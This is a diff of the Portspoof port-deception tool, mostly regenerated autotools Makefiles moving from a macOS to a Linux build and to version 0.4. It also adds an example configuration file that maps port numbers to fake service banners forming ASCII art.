am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
|
||||
install_sh_DATA = $(install_sh) -c -m 644
|
||||
install_sh_PROGRAM = $(install_sh) -c
|
||||
@ -30,8 +32,8 @@ POST_INSTALL = :
|
||||
NORMAL_UNINSTALL = :
|
||||
PRE_UNINSTALL = :
|
||||
POST_UNINSTALL = :
|
||||
build_triplet = i386-apple-darwin11.4.0
|
||||
host_triplet = i386-apple-darwin11.4.0
|
||||
build_triplet = i686-pc-linux-gnu
|
||||
host_triplet = i686-pc-linux-gnu
|
||||
subdir = tools
|
||||
DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in
|
||||
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
|
||||
@ -41,6 +43,7 @@ am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
|
||||
mkinstalldirs = $(install_sh) -d
|
||||
CONFIG_HEADER = $(top_builddir)/src/config.h
|
||||
CONFIG_CLEAN_FILES =
|
||||
CONFIG_CLEAN_VPATH_FILES =
|
||||
SOURCES =
|
||||
DIST_SOURCES =
|
||||
am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
|
||||
@ -48,31 +51,48 @@ am__vpath_adj = case $$p in \
|
||||
$(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
|
||||
*) f=$$p;; \
|
||||
esac;
|
||||
am__strip_dir = `echo $$p | sed -e 's|^.*/||'`;
|
||||
am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
|
||||
am__install_max = 40
|
||||
am__nobase_strip_setup = \
|
||||
srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`
|
||||
am__nobase_strip = \
|
||||
for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||"
|
||||
am__nobase_list = $(am__nobase_strip_setup); \
|
||||
for p in $$list; do echo "$$p $$p"; done | \
|
||||
sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \
|
||||
$(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \
|
||||
if (++n[$$2] == $(am__install_max)) \
|
||||
{ print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \
|
||||
END { for (dir in files) print dir, files[dir] }'
|
||||
am__base_list = \
|
||||
sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
|
||||
sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
|
||||
am__installdirs = "$(DESTDIR)$(sysconfdir)"
|
||||
sysconfDATA_INSTALL = $(INSTALL_DATA)
|
||||
DATA = $(sysconf_DATA)
|
||||
DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
|
||||
ACLOCAL = ${SHELL} /Users/k1wi/Desktop/portspoof/auto/missing --run aclocal-1.10
|
||||
AMTAR = ${SHELL} /Users/k1wi/Desktop/portspoof/auto/missing --run tar
|
||||
AUTOCONF = ${SHELL} /Users/k1wi/Desktop/portspoof/auto/missing --run autoconf
|
||||
AUTOHEADER = ${SHELL} /Users/k1wi/Desktop/portspoof/auto/missing --run autoheader
|
||||
AUTOMAKE = ${SHELL} /Users/k1wi/Desktop/portspoof/auto/missing --run automake-1.10
|
||||
AWK = awk
|
||||
ACLOCAL = ${SHELL} /root/portspoof1/auto/missing --run aclocal-1.11
|
||||
AMTAR = ${SHELL} /root/portspoof1/auto/missing --run tar
|
||||
AUTOCONF = ${SHELL} /root/portspoof1/auto/missing --run autoconf
|
||||
AUTOHEADER = ${SHELL} /root/portspoof1/auto/missing --run autoheader
|
||||
AUTOMAKE = ${SHELL} /root/portspoof1/auto/missing --run automake-1.11
|
||||
AWK = gawk
|
||||
CC = gcc
|
||||
CCDEPMODE = depmode=gcc3
|
||||
CFLAGS = -g -O2
|
||||
CPP = gcc -E
|
||||
CPPFLAGS =
|
||||
CXX = g++
|
||||
CXXDEPMODE = depmode=gcc3
|
||||
CXXFLAGS = -g -O2
|
||||
CYGPATH_W = echo
|
||||
DEFS = -DHAVE_CONFIG_H
|
||||
DEPDIR = .deps
|
||||
ECHO_C = \c
|
||||
ECHO_N =
|
||||
ECHO_C =
|
||||
ECHO_N = -n
|
||||
ECHO_T =
|
||||
EGREP = /usr/bin/grep -E
|
||||
EGREP = /bin/grep -E
|
||||
EXEEXT =
|
||||
GREP = /usr/bin/grep
|
||||
GREP = /bin/grep
|
||||
INSTALL = /usr/bin/install -c
|
||||
INSTALL_DATA = ${INSTALL} -m 644
|
||||
INSTALL_PROGRAM = ${INSTALL}
|
||||
@ -82,57 +102,59 @@ LDFLAGS =
|
||||
LIBOBJS =
|
||||
LIBS =
|
||||
LTLIBOBJS =
|
||||
MAKEINFO = ${SHELL} /Users/k1wi/Desktop/portspoof/auto/missing --run makeinfo
|
||||
MKDIR_P = ../auto/install-sh -c -d
|
||||
MAKEINFO = ${SHELL} /root/portspoof1/auto/missing --run makeinfo
|
||||
MKDIR_P = /bin/mkdir -p
|
||||
OBJEXT = o
|
||||
PACKAGE = portspoof
|
||||
PACKAGE_BUGREPORT = piotr at duszynski.eu
|
||||
PACKAGE_BUGREPORT = piotr@duszynski.eu
|
||||
PACKAGE_NAME = portspoof
|
||||
PACKAGE_STRING = portspoof 0.1
|
||||
PACKAGE_STRING = portspoof 0.4
|
||||
PACKAGE_TARNAME = portspoof
|
||||
PACKAGE_VERSION = 0.1
|
||||
PACKAGE_URL =
|
||||
PACKAGE_VERSION = 0.4
|
||||
PATH_SEPARATOR = :
|
||||
SET_MAKE =
|
||||
SHELL = /bin/sh
|
||||
STRIP =
|
||||
VERSION = 0.1
|
||||
abs_builddir = /Users/k1wi/Desktop/portspoof/tools
|
||||
abs_srcdir = /Users/k1wi/Desktop/portspoof/tools
|
||||
abs_top_builddir = /Users/k1wi/Desktop/portspoof
|
||||
abs_top_srcdir = /Users/k1wi/Desktop/portspoof
|
||||
VERSION = 0.4
|
||||
abs_builddir = /root/portspoof1/tools
|
||||
abs_srcdir = /root/portspoof1/tools
|
||||
abs_top_builddir = /root/portspoof1
|
||||
abs_top_srcdir = /root/portspoof1
|
||||
ac_ct_CC = gcc
|
||||
ac_ct_CXX = g++
|
||||
am__include = include
|
||||
am__leading_dot = .
|
||||
am__quote =
|
||||
am__tar = ${AMTAR} chof - "$$tardir"
|
||||
am__untar = ${AMTAR} xf -
|
||||
bindir = ${exec_prefix}/bin
|
||||
build = i386-apple-darwin11.4.0
|
||||
build = i686-pc-linux-gnu
|
||||
build_alias =
|
||||
build_cpu = i386
|
||||
build_os = darwin11.4.0
|
||||
build_vendor = apple
|
||||
build_cpu = i686
|
||||
build_os = linux-gnu
|
||||
build_vendor = pc
|
||||
builddir = .
|
||||
datadir = ${datarootdir}
|
||||
datarootdir = ${prefix}/share
|
||||
docdir = ${datarootdir}/doc/${PACKAGE_TARNAME}
|
||||
dvidir = ${docdir}
|
||||
exec_prefix = ${prefix}
|
||||
host = i386-apple-darwin11.4.0
|
||||
host = i686-pc-linux-gnu
|
||||
host_alias =
|
||||
host_cpu = i386
|
||||
host_os = darwin11.4.0
|
||||
host_vendor = apple
|
||||
host_cpu = i686
|
||||
host_os = linux-gnu
|
||||
host_vendor = pc
|
||||
htmldir = ${docdir}
|
||||
includedir = ${prefix}/include
|
||||
infodir = ${datarootdir}/info
|
||||
install_sh = $(SHELL) /Users/k1wi/Desktop/portspoof/auto/install-sh
|
||||
install_sh = ${SHELL} /root/portspoof1/auto/install-sh
|
||||
libdir = ${exec_prefix}/lib
|
||||
libexecdir = ${exec_prefix}/libexec
|
||||
localedir = ${datarootdir}/locale
|
||||
localstatedir = ${prefix}/var
|
||||
mandir = ${datarootdir}/man
|
||||
mkdir_p = $(top_builddir)/auto/install-sh -c -d
|
||||
mkdir_p = /bin/mkdir -p
|
||||
oldincludedir = /usr/include
|
||||
pdfdir = ${docdir}
|
||||
prefix = /usr/local
|
||||
@ -143,6 +165,7 @@ sharedstatedir = ${prefix}/com
|
||||
srcdir = .
|
||||
sysconfdir = ${prefix}/etc
|
||||
target_alias =
|
||||
top_build_prefix = ../
|
||||
top_builddir = ..
|
||||
top_srcdir = ..
|
||||
EXTRA_DIST = portspoof.conf signatures
|
||||
@ -155,13 +178,13 @@ $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
|
||||
@for dep in $?; do \
|
||||
case '$(am__configure_deps)' in \
|
||||
*$$dep*) \
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
|
||||
&& exit 0; \
|
||||
( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \
|
||||
&& { if test -f $@; then exit 0; else break; fi; }; \
|
||||
exit 1;; \
|
||||
esac; \
|
||||
done; \
|
||||
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu tools/Makefile'; \
|
||||
cd $(top_srcdir) && \
|
||||
$(am__cd) $(top_srcdir) && \
|
||||
$(AUTOMAKE) --gnu tools/Makefile
|
||||
.PRECIOUS: Makefile
|
||||
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
|
||||
@ -180,23 +203,27 @@ $(top_srcdir)/configure: $(am__configure_deps)
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||
$(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||
$(am__aclocal_m4_deps):
|
||||
install-sysconfDATA: $(sysconf_DATA)
|
||||
@$(NORMAL_INSTALL)
|
||||
test -z "$(sysconfdir)" || $(MKDIR_P) "$(DESTDIR)$(sysconfdir)"
|
||||
@list='$(sysconf_DATA)'; for p in $$list; do \
|
||||
@list='$(sysconf_DATA)'; test -n "$(sysconfdir)" || list=; \
|
||||
for p in $$list; do \
|
||||
if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
|
||||
f=$(am__strip_dir) \
|
||||
echo " $(sysconfDATA_INSTALL) '$$d$$p' '$(DESTDIR)$(sysconfdir)/$$f'"; \
|
||||
$(sysconfDATA_INSTALL) "$$d$$p" "$(DESTDIR)$(sysconfdir)/$$f"; \
|
||||
echo "$$d$$p"; \
|
||||
done | $(am__base_list) | \
|
||||
while read files; do \
|
||||
echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(sysconfdir)'"; \
|
||||
$(INSTALL_DATA) $$files "$(DESTDIR)$(sysconfdir)" || exit $$?; \
|
||||
done
|
||||
|
||||
uninstall-sysconfDATA:
|
||||
@$(NORMAL_UNINSTALL)
|
||||
@list='$(sysconf_DATA)'; for p in $$list; do \
|
||||
f=$(am__strip_dir) \
|
||||
echo " rm -f '$(DESTDIR)$(sysconfdir)/$$f'"; \
|
||||
rm -f "$(DESTDIR)$(sysconfdir)/$$f"; \
|
||||
done
|
||||
@list='$(sysconf_DATA)'; test -n "$(sysconfdir)" || list=; \
|
||||
files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
|
||||
test -n "$$files" || exit 0; \
|
||||
echo " ( cd '$(DESTDIR)$(sysconfdir)' && rm -f" $$files ")"; \
|
||||
cd "$(DESTDIR)$(sysconfdir)" && rm -f $$files
|
||||
tags: TAGS
|
||||
TAGS:
|
||||
|
||||
@ -220,13 +247,17 @@ distdir: $(DISTFILES)
|
||||
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
|
||||
if test -d $$d/$$file; then \
|
||||
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d "$(distdir)/$$file"; then \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
|
||||
else \
|
||||
test -f $(distdir)/$$file \
|
||||
|| cp -p $$d/$$file $(distdir)/$$file \
|
||||
test -f "$(distdir)/$$file" \
|
||||
|| cp -p $$d/$$file "$(distdir)/$$file" \
|
||||
|| exit 1; \
|
||||
fi; \
|
||||
done
|
||||
@ -257,6 +288,7 @@ clean-generic:
|
||||
|
||||
distclean-generic:
|
||||
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
|
||||
-test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
|
||||
|
||||
maintainer-clean-generic:
|
||||
@echo "This command is intended for maintainers to use"
|
||||
@ -275,6 +307,8 @@ dvi-am:
|
||||
|
||||
html: html-am
|
||||
|
||||
html-am:
|
||||
|
||||
info: info-am
|
||||
|
||||
info-am:
|
||||
@ -283,18 +317,28 @@ install-data-am:
|
||||
|
||||
install-dvi: install-dvi-am
|
||||
|
||||
install-dvi-am:
|
||||
|
||||
install-exec-am: install-sysconfDATA
|
||||
|
||||
install-html: install-html-am
|
||||
|
||||
install-html-am:
|
||||
|
||||
install-info: install-info-am
|
||||
|
||||
install-info-am:
|
||||
|
||||
install-man:
|
||||
|
||||
install-pdf: install-pdf-am
|
||||
|
||||
install-pdf-am:
|
||||
|
||||
install-ps: install-ps-am
|
||||
|
||||
install-ps-am:
|
||||
|
||||
installcheck-am:
|
||||
|
||||
maintainer-clean: maintainer-clean-am
|
||||
@ -328,6 +372,7 @@ uninstall-am: uninstall-sysconfDATA
|
||||
mostlyclean mostlyclean-generic pdf pdf-am ps ps-am uninstall \
|
||||
uninstall-am uninstall-sysconfDATA
|
||||
|
||||
|
||||
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
||||
# Otherwise a system limit (for SysV at least) may be exceeded.
|
||||
.NOEXPORT:
|
||||
|
4
tools/Makefile.am
Normal file → Executable file
4
tools/Makefile.am
Normal file → Executable file
@ -1,7 +1,7 @@
|
||||
## Process this file with automake to produce Makefile.in
|
||||
|
||||
EXTRA_DIST = portspoof.conf signatures
|
||||
EXTRA_DIST = portspoof.conf portspoof_signatures
|
||||
|
||||
confdir= $(sysconfdir)/portspoof
|
||||
|
||||
sysconf_DATA=portspoof.conf signatures
|
||||
sysconf_DATA=portspoof.conf portspoof_signatures
|
@ -1,8 +1,9 @@
|
||||
# Makefile.in generated by automake 1.10 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# @configure_input@
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
# 2003, 2004, 2005, 2006 Free Software Foundation, Inc.
|
||||
# 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
|
||||
# Inc.
|
||||
# This Makefile.in is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
@ -16,8 +17,9 @@
|
||||
|
||||
VPATH = @srcdir@
|
||||
pkgdatadir = $(datadir)/@PACKAGE@
|
||||
pkglibdir = $(libdir)/@PACKAGE@
|
||||
pkgincludedir = $(includedir)/@PACKAGE@
|
||||
pkglibdir = $(libdir)/@PACKAGE@
|
||||
pkglibexecdir = $(libexecdir)/@PACKAGE@
|
||||
am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
|
||||
install_sh_DATA = $(install_sh) -c -m 644
|
||||
install_sh_PROGRAM = $(install_sh) -c
|
||||
@ -41,6 +43,7 @@ am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
|
||||
mkinstalldirs = $(install_sh) -d
|
||||
CONFIG_HEADER = $(top_builddir)/src/config.h
|
||||
CONFIG_CLEAN_FILES =
|
||||
CONFIG_CLEAN_VPATH_FILES =
|
||||
SOURCES =
|
||||
DIST_SOURCES =
|
||||
am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
|
||||
@ -48,9 +51,23 @@ am__vpath_adj = case $$p in \
|
||||
$(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
|
||||
*) f=$$p;; \
|
||||
esac;
|
||||
am__strip_dir = `echo $$p | sed -e 's|^.*/||'`;
|
||||
am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
|
||||
am__install_max = 40
|
||||
am__nobase_strip_setup = \
|
||||
srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`
|
||||
am__nobase_strip = \
|
||||
for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||"
|
||||
am__nobase_list = $(am__nobase_strip_setup); \
|
||||
for p in $$list; do echo "$$p $$p"; done | \
|
||||
sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \
|
||||
$(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \
|
||||
if (++n[$$2] == $(am__install_max)) \
|
||||
{ print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \
|
||||
END { for (dir in files) print dir, files[dir] }'
|
||||
am__base_list = \
|
||||
sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
|
||||
sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
|
||||
am__installdirs = "$(DESTDIR)$(sysconfdir)"
|
||||
sysconfDATA_INSTALL = $(INSTALL_DATA)
|
||||
DATA = $(sysconf_DATA)
|
||||
DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
|
||||
ACLOCAL = @ACLOCAL@
|
||||
@ -64,6 +81,9 @@ CCDEPMODE = @CCDEPMODE@
|
||||
CFLAGS = @CFLAGS@
|
||||
CPP = @CPP@
|
||||
CPPFLAGS = @CPPFLAGS@
|
||||
CXX = @CXX@
|
||||
CXXDEPMODE = @CXXDEPMODE@
|
||||
CXXFLAGS = @CXXFLAGS@
|
||||
CYGPATH_W = @CYGPATH_W@
|
||||
DEFS = @DEFS@
|
||||
DEPDIR = @DEPDIR@
|
||||
@ -90,6 +110,7 @@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
|
||||
PACKAGE_NAME = @PACKAGE_NAME@
|
||||
PACKAGE_STRING = @PACKAGE_STRING@
|
||||
PACKAGE_TARNAME = @PACKAGE_TARNAME@
|
||||
PACKAGE_URL = @PACKAGE_URL@
|
||||
PACKAGE_VERSION = @PACKAGE_VERSION@
|
||||
PATH_SEPARATOR = @PATH_SEPARATOR@
|
||||
SET_MAKE = @SET_MAKE@
|
||||
@ -101,6 +122,7 @@ abs_srcdir = @abs_srcdir@
|
||||
abs_top_builddir = @abs_top_builddir@
|
||||
abs_top_srcdir = @abs_top_srcdir@
|
||||
ac_ct_CC = @ac_ct_CC@
|
||||
ac_ct_CXX = @ac_ct_CXX@
|
||||
am__include = @am__include@
|
||||
am__leading_dot = @am__leading_dot@
|
||||
am__quote = @am__quote@
|
||||
@ -143,11 +165,12 @@ sharedstatedir = @sharedstatedir@
|
||||
srcdir = @srcdir@
|
||||
sysconfdir = @sysconfdir@
|
||||
target_alias = @target_alias@
|
||||
top_build_prefix = @top_build_prefix@
|
||||
top_builddir = @top_builddir@
|
||||
top_srcdir = @top_srcdir@
|
||||
EXTRA_DIST = portspoof.conf signatures
|
||||
EXTRA_DIST = portspoof.conf portspoof_signatures
|
||||
confdir = $(sysconfdir)/portspoof
|
||||
sysconf_DATA = portspoof.conf signatures
|
||||
sysconf_DATA = portspoof.conf portspoof_signatures
|
||||
all: all-am
|
||||
|
||||
.SUFFIXES:
|
||||
@ -155,13 +178,13 @@ $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
|
||||
@for dep in $?; do \
|
||||
case '$(am__configure_deps)' in \
|
||||
*$$dep*) \
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
|
||||
&& exit 0; \
|
||||
( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \
|
||||
&& { if test -f $@; then exit 0; else break; fi; }; \
|
||||
exit 1;; \
|
||||
esac; \
|
||||
done; \
|
||||
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu tools/Makefile'; \
|
||||
cd $(top_srcdir) && \
|
||||
$(am__cd) $(top_srcdir) && \
|
||||
$(AUTOMAKE) --gnu tools/Makefile
|
||||
.PRECIOUS: Makefile
|
||||
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
|
||||
@ -180,23 +203,27 @@ $(top_srcdir)/configure: $(am__configure_deps)
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||
$(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||
$(am__aclocal_m4_deps):
|
||||
install-sysconfDATA: $(sysconf_DATA)
|
||||
@$(NORMAL_INSTALL)
|
||||
test -z "$(sysconfdir)" || $(MKDIR_P) "$(DESTDIR)$(sysconfdir)"
|
||||
@list='$(sysconf_DATA)'; for p in $$list; do \
|
||||
@list='$(sysconf_DATA)'; test -n "$(sysconfdir)" || list=; \
|
||||
for p in $$list; do \
|
||||
if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
|
||||
f=$(am__strip_dir) \
|
||||
echo " $(sysconfDATA_INSTALL) '$$d$$p' '$(DESTDIR)$(sysconfdir)/$$f'"; \
|
||||
$(sysconfDATA_INSTALL) "$$d$$p" "$(DESTDIR)$(sysconfdir)/$$f"; \
|
||||
echo "$$d$$p"; \
|
||||
done | $(am__base_list) | \
|
||||
while read files; do \
|
||||
echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(sysconfdir)'"; \
|
||||
$(INSTALL_DATA) $$files "$(DESTDIR)$(sysconfdir)" || exit $$?; \
|
||||
done
|
||||
|
||||
uninstall-sysconfDATA:
|
||||
@$(NORMAL_UNINSTALL)
|
||||
@list='$(sysconf_DATA)'; for p in $$list; do \
|
||||
f=$(am__strip_dir) \
|
||||
echo " rm -f '$(DESTDIR)$(sysconfdir)/$$f'"; \
|
||||
rm -f "$(DESTDIR)$(sysconfdir)/$$f"; \
|
||||
done
|
||||
@list='$(sysconf_DATA)'; test -n "$(sysconfdir)" || list=; \
|
||||
files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
|
||||
test -n "$$files" || exit 0; \
|
||||
echo " ( cd '$(DESTDIR)$(sysconfdir)' && rm -f" $$files ")"; \
|
||||
cd "$(DESTDIR)$(sysconfdir)" && rm -f $$files
|
||||
tags: TAGS
|
||||
TAGS:
|
||||
|
||||
@ -220,13 +247,17 @@ distdir: $(DISTFILES)
|
||||
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
|
||||
if test -d $$d/$$file; then \
|
||||
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d "$(distdir)/$$file"; then \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
|
||||
else \
|
||||
test -f $(distdir)/$$file \
|
||||
|| cp -p $$d/$$file $(distdir)/$$file \
|
||||
test -f "$(distdir)/$$file" \
|
||||
|| cp -p $$d/$$file "$(distdir)/$$file" \
|
||||
|| exit 1; \
|
||||
fi; \
|
||||
done
|
||||
@ -257,6 +288,7 @@ clean-generic:
|
||||
|
||||
distclean-generic:
|
||||
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
|
||||
-test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
|
||||
|
||||
maintainer-clean-generic:
|
||||
@echo "This command is intended for maintainers to use"
|
||||
@ -275,6 +307,8 @@ dvi-am:
|
||||
|
||||
html: html-am
|
||||
|
||||
html-am:
|
||||
|
||||
info: info-am
|
||||
|
||||
info-am:
|
||||
@ -283,18 +317,28 @@ install-data-am:
|
||||
|
||||
install-dvi: install-dvi-am
|
||||
|
||||
install-dvi-am:
|
||||
|
||||
install-exec-am: install-sysconfDATA
|
||||
|
||||
install-html: install-html-am
|
||||
|
||||
install-html-am:
|
||||
|
||||
install-info: install-info-am
|
||||
|
||||
install-info-am:
|
||||
|
||||
install-man:
|
||||
|
||||
install-pdf: install-pdf-am
|
||||
|
||||
install-pdf-am:
|
||||
|
||||
install-ps: install-ps-am
|
||||
|
||||
install-ps-am:
|
||||
|
||||
installcheck-am:
|
||||
|
||||
maintainer-clean: maintainer-clean-am
|
||||
@ -328,6 +372,7 @@ uninstall-am: uninstall-sysconfDATA
|
||||
mostlyclean mostlyclean-generic pdf pdf-am ps ps-am uninstall \
|
||||
uninstall-am uninstall-sysconfDATA
|
||||
|
||||
|
||||
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
||||
# Otherwise a system limit (for SysV at least) may be exceeded.
|
||||
.NOEXPORT:
|
||||
|
98
tools/portspoof.conf
Normal file → Executable file
98
tools/portspoof.conf
Normal file → Executable file
@ -1 +1,97 @@
|
||||
TO BE IMPLEMENTED
|
||||
|
||||
# This is an example Portspoof configuration file
|
||||
#
|
||||
# :Examples:
|
||||
#
|
||||
# 1. SINGLE PORT
|
||||
#
|
||||
# port "payload"
|
||||
#
|
||||
# 2. PORT RANGE
|
||||
#
|
||||
# port_nr_start-port_nr_start "payload"
|
||||
#
|
||||
# 3. PAYLOAD: Hex Encoded (useful for exploits)
|
||||
#
|
||||
# port "\x20\x20\x41\x41\x41 string payload"
|
||||
#
|
||||
# 4. PAYLOAD: Regular expressions
|
||||
#
|
||||
# port "regular_expression [\w]+ ..."
|
||||
|
||||
|
||||
#Example: Send custom payload (this can be a simple string)
|
||||
|
||||
1 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
2 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
3 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
4 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
5 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
6 "550 12345 0ffffffffffffffffffffffffffffffffffffffffffffffffffff00"
|
||||
7 "550 12345 0fffffffffffff777778887777777777cffffffffffffffffffff00"
|
||||
8 "550 12345 0fffffffffff8000000000000000008888887cfcfffffffffffff00"
|
||||
9 "550 12345 0ffffffffff80000088808000000888800000008887ffffffffff00"
|
||||
10 "550 12345 0fffffffff70000088800888800088888800008800007ffffffff00"
|
||||
11 "550 12345 0fffffffff000088808880000000000000088800000008fffffff00"
|
||||
12 "550 12345 0ffffffff80008808880000000880000008880088800008ffffff00"
|
||||
13 "550 12345 0ffffffff000000888000000000800000080000008800007fffff00"
|
||||
14 "550 12345 0fffffff8000000000008888000000000080000000000007fffff00"
|
||||
15 "550 12345 0ffffff70000000008cffffffc0000000080000000000008fffff00"
|
||||
16 "550 12345 0ffffff8000000008ffffff007f8000000007cf7c80000007ffff00"
|
||||
17 "550 12345 0fffff7880000780f7cffff7800f8000008fffffff80808807fff00"
|
||||
18 "550 12345 0fff78000878000077800887fc8f80007fffc7778800000880cff00"
|
||||
19 "550 12345 0ff70008fc77f7000000f80008f8000007f0000000000000888ff00"
|
||||
20 "550 12345 0ff0008f00008ffc787f70000000000008f000000087fff8088cf00"
|
||||
21 "550 12345 0f7000f800770008777000000000000000f80008f7f70088000cf00"
|
||||
22 "550 12345 0f8008c008fff8000000000000780000007f800087708000800ff00"
|
||||
23 "550 12345 0f8008707ff07ff8000008088ff800000000f7000000f800808ff00"
|
||||
24 "550 12345 0f7000f888f8007ff7800000770877800000cf780000ff00807ff00"
|
||||
25 "550 12345 0ff0808800cf0000ffff70000f877f70000c70008008ff8088fff00"
|
||||
26 "550 12345 0ff70800008ff800f007fff70880000087f70000007fcf7007fff00"
|
||||
27 "550 12345 0fff70000007fffcf700008ffc778000078000087ff87f700ffff00"
|
||||
28 "550 12345 0ffffc000000f80fff700007787cfffc7787fffff0788f708ffff00"
|
||||
29 "550 12345 0fffff7000008f00fffff78f800008f887ff880770778f708ffff00"
|
||||
30 "550 12345 0ffffff8000007f0780cffff700000c000870008f07fff707ffff00"
|
||||
31 "550 12345 0ffffcf7000000cfc00008fffff777f7777f777fffffff707ffff00"
|
||||
32 "550 12345 0cccccff0000000ff000008c8cffffffffffffffffffff807ffff00"
|
||||
33 "550 12345 0fffffff70000000ff8000c700087fffffffffffffffcf808ffff00"
|
||||
